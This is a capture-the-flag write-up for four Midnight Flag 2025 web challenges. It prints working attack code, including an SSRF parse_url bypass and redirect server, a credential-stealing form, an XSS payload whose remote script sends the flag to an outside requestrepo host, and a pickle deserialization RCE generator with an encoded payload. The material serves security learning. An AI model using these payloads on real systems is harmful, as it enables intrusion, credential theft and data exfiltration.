https://github.com/MidnightFlag/qualifiers-challenges-2025/tree/master/Web # Disparity We need to get SSRF to the backend to get flag. ``` <?php ini_set("default_socket_timeout", 5); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { die("/url.php is only accessible with POST"); } if (!isset($_POST['url']) || strlen($_POST['url']) === 0) { die("Parameter 'url' is mandatory"); } $url = $_POST['url']; try { $parsed = parse_url($url); var_dump($parsed); } catch (Exception $e){ die("Failed to parse URL"); } if (strlen($parsed['host']) === 0){ die("Host can not be empty"); } if ($parsed['scheme'] !== "http"){ die("HTTP is the only option"); } // Prevent DNS rebinding try { $ip = gethostbyname($parsed['host']); } catch(Exception $e) { die("Failed to resolve IP"); } // Prevent from fetching localhost if (preg_match("/^127\..*/",$ip) || $ip === "0.0.0.0"){ die("Can't fetch localhost"); } $url = str_replace($parsed['host'],$ip,$url); // Fetch url try { ob_start(); $len_content = readfile($url); $content = ob_get_clean(); } catch (Exception $e) { die("Failed to request URL"); } if ($len_content > 0) { echo $content; } else { die("Empty reply from server"); } ?> ``` > front_end - url.php ``` <?php if ($_SERVER['HTTP_HOST'] === "localhost:8080"){ echo getenv('FLAG'); } else { echo "You are not allowed to do that"; } ?> ``` > back_end - flag.php We need to bypass the `preg_match` localhost ip check. Here we can see that the code uses `parse_url` function to separate the `scheme` and `host`. But according to the [php documentation](https://www.php.net/manual/en/function.parse-url.php). ![image](https://hackmd.io/_uploads/BJ5L5aoC1l.png) So this function is possible to bypass using the url `http://localhost:8080:80/flag.php` ![image](https://hackmd.io/_uploads/HkrJoao0kx.png) The host is consider as `localhost:8080`, then the `gethostbyname` function leave as it is. Therefore after `str_replace($parsed['host'],$ip,$url)`, it is still `http://localhost:8080:80/flag.php`. Finally, the `readfile` function only consider `http://localhost:8080/flag.php` and fetch the flag. ### Unintended We can use an external redirector such as httpbin https://httpbin.org/#/Redirects/get_redirect_to to redirect to `http://localhost:8080/flag.php`. Or we can host own flask server. ``` from flask import Flask, redirect, request, Response app = Flask(__name__) @app.route('/') def ssrf(): headers = { 'Location': 'http://localhost:8080/flag.php' } return Response('', status=302, headers=headers) if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ``` # postplayground In this challenge, we need to get admin password in order to access `/api/flag`. ![image](https://hackmd.io/_uploads/SJa110s0kl.png) We can see that in the route `/bot`, the admin bot will go to the url base on `origin` header, so it's easy to make a simple html to steal password of admin. Create a file `login` in requestrepo. ``` <html> <form action="/creds" method="post"> <input type="text" name="user" id="username"> <input type="text" name="pass" id="password"> <input id="submit" type="submit" value="Submit"> </form> </html> ``` Change origin to requestrepo. ![Screenshot 2025-04-15 193150](https://hackmd.io/_uploads/BJz0W0oCkx.png) Got the admin password. ![image](https://hackmd.io/_uploads/H16bMCoRkl.png) # postplayground_revenge In this challenge the url had hard fix to `http://127.0.0.1:3000`, so we need to find a xss sink. ![image](https://hackmd.io/_uploads/ryCrQRiCJg.png) We find that `render_frame.js` is use to handle varibles, take a look at `parseAndExec` function, the `exec_frame` postMessage to somewhere. ![image](https://hackmd.io/_uploads/SyuV5Rj01e.png) In `render_frame.html`, we found the `exec_frame` function. ![image](https://hackmd.io/_uploads/ryq-4Ci0kx.png) ``` <script> function matchAndExtract(match, url) { var rx = new RegExp(`{{${match}}}`,"g"); var arr = rx.exec(url); return arr !== null ? arr[0] : false; } function templateUrl(url, variables){ let src = `let url = "${url}";\n`; for(const key in variables) { if(matchAndExtract(key, url)) { src += `url = url.replace("{{${key}}}","${variables[key]}");\n`; } } var mask = {}; for (p in this) mask[p] = undefined; src += "return url;" return (new Function( "with(this) { " + src + "}")).call(mask); } function sanitizeUrl(url) { return url.replaceAll('"',"").replaceAll("`",""); } window.addEventListener("message", async (event) => { let url_to_fetch = ""; if(typeof(event.data) === "object" && typeof(event.data.vars) == "object" && event.data.vars.url !== undefined && event.data.vars.originUrl !== undefined) { let url = sanitizeUrl(event.data.vars.url); if(typeof(event.data.vars.variables) === "object") { if(url.includes("{{") && url.includes("}}")) { url_to_fetch = templateUrl(url, event.data.vars.variables); } else { url_to_fetch = url; } } else { url_to_fetch = url; } } if(url_to_fetch) { let fetch_options = { method: "GET", headers: {} }; if(event.data.vars.method !== undefined && typeof(event.data.vars.method) === "string") { fetch_options["method"] = event.data.vars.method; } if(fetch_options["method"] != "GET" && event.data.vars.body !== undefined && typeof(event.data.vars.body) === "object") { fetch_options["body"] = event.data.vars.body; } if(event.data.vars.headers !== undefined && typeof(event.data.vars.headers) === "object") { fetch_options["headers"] = event.data.vars.headers; } let fetch_res = await fetch(url_to_fetch, fetch_options) .then(async (resp) => { return {"status":true, "result": await resp.text()}; }) .catch((err) => { return {"status":false, "err":err}; }); window.top.postMessage({"action":"result","vars":fetch_res}, `http://${event.data.vars.originUrl}`); } else { window.top.postMessage({"action":"result","vars":"Something wrong happend."}, `http://${event.data.vars.originUrl}`); } }); </script> ``` In the `templateUrl` function, we found we can control the `variables`, obviously this is the sink we want to find. ![image](https://hackmd.io/_uploads/ByRcVAiRJg.png) We need to use `globalThis` to bypass the sandbox. Create varible with varible name `xss` and value is `x");globalThis.alert(1)//` ![image](https://hackmd.io/_uploads/rkCWu0sCJl.png) And the url `http://test/{{xss}}` is use to trigger template function. ![image](https://hackmd.io/_uploads/Sy5_dCi0yl.png) Now, we have successfully identify the xss sink. But the xss is in `static1.midnightflag.fr` subdomain, we need to find a way to bypass SOP to get flag in `chall.midnightflag.fr` subdomain. Analyze further, in `main.js` we found ![image](https://hackmd.io/_uploads/BkTFXCj0yl.png) It's does not check the origin. And `event.data` is posted to ![image](https://hackmd.io/_uploads/Bkd-hRs0kg.png) A list of action, but the most interesting one is ![image](https://hackmd.io/_uploads/HyAIn0sCke.png) Therefore, we have an idea that we will abuse the xss sink found earlier to post `load_scripts` event. We put a js in requestrepo to fetch the flag. We can use `@` to bypass `location.origin`. Payload: `x");globalThis.window.top.postMessage({"action":"load_scripts","vars":{"srcs":["@mk2r7rg4.requestrepo.com/"]}},"*");//` On requestrepo ``` ###TO_EVAL### fetch('http://localhost:3000/api/flag').then(r=>r.text()).then(b=>fetch('http://mk2r7rg4.requestrepo.com/leak',{method:'POST',body:b})); ###EOF_EVAL### ``` # futurupload In this challenge, we need to perform path travelsal to overwrite flask session in order to achieve RCE. ### path travelsal In the `/upload` route, we find that, the os.path.join does not contain `filename` parameter `full_folder = os.path.normpath(os.path.join(base_path, folder))`. So it's possible to inject `../` to `filename`. ![image](https://hackmd.io/_uploads/HJJmgknAyl.png) We dive into mimetypes library, we found `data` scheme ![image](https://hackmd.io/_uploads/SJ87zJ30kl.png) We have the payload for `filename` like `data:image/jpeg,/../../../../../app/user_files/xxx` ### rce Look into [flask](https://github.com/pallets-eco/flask-session/blob/41e2771055e1e533da6cdb84efea68751d0fe618/src/flask_session/sessions.py#L326), this is the class to handle file-based flask session It uses the cachelib library. ![image](https://hackmd.io/_uploads/BJGXNJn0kg.png) ![image](https://hackmd.io/_uploads/ryGI4JhC1l.png) In the [cachelib](https://github.com/pallets-eco/cachelib/blob/18bb52cc29a07f7f0d7992d682d769f3497851b4/src/cachelib/file.py#L203) ![image](https://hackmd.io/_uploads/HJEIrJhA1e.png) the [serializers](https://github.com/pallets-eco/cachelib/blob/main/src/cachelib/serializers.py) ![image](https://hackmd.io/_uploads/r10kLynAyl.png) In general, if the session file contain first 4 bytes `\x00\x00\x00\x00`, it will pickle deserlize the session file. So far, the game is ez, we can trigger rce using. ``` import pickle import base64 def gen(command): class Exploit: def __reduce__(self): return (exec, ("__import__('os').system('{}')".format(command),)) Pickle = Exploit() return pickle.dumps(Pickle) payload = b"\x00" * 4 + gen('') print(base64.b64encode(payload).decode('utf-8')) ``` # Exploit We can see the `__wz_cache_count` is always in file-based flask session folder https://github.com/pallets-eco/cachelib/blob/9a4de4df1bce035d27c93a34608a8af4413d5b59/src/cachelib/file.py#L50 ![image](https://hackmd.io/_uploads/Hk6nFJ20ke.png) Then it gets md5 hash so it save as `2029240f6d1128be89ddc32729463129` in `flask_session` folder Create folder `data:image/jpeg,` and `xxx` ![image](https://hackmd.io/_uploads/SkCShy3AJx.png) ![image](https://hackmd.io/_uploads/r1Ozpy30yg.png) Use this to generate pickle payload ``` import pickle import base64 def gen(command): class Exploit: def __reduce__(self): return (exec, ("__import__('os').system('{}')".format(command),)) Pickle = Exploit() return pickle.dumps(Pickle) payload = b"\x00" * 4 + gen('/getflag>/app/user_files/xxx/flag.txt') print(base64.b64encode(payload).decode('utf-8')) ``` Exfiltrate ![image](https://hackmd.io/_uploads/HkOm21nCkg.png) ``` folder=x&filename=data:image/jpeg,/../../../../../app/flask_session/2029240f6d1128be89ddc32729463129&content=AAAAAIAElYQAAAAAAAAAjAhidWlsdGluc5SMBGV4ZWOUk5SMaF9faW1wb3J0X18oJ29zJykuc3lzdGVtKCdlY2hvIGxtYW8gPiAvYXBwL3VzZXJfZmlsZXMvZjkxZDlkYzUtMTc0OC00M2E5LWI1ZGMtZTQ3NGI4ZTY1YWNjL3h4eHgvZmZmLnR4dCcplIWUUpQu ``` Then navigate to xxx folder to retrieve flag.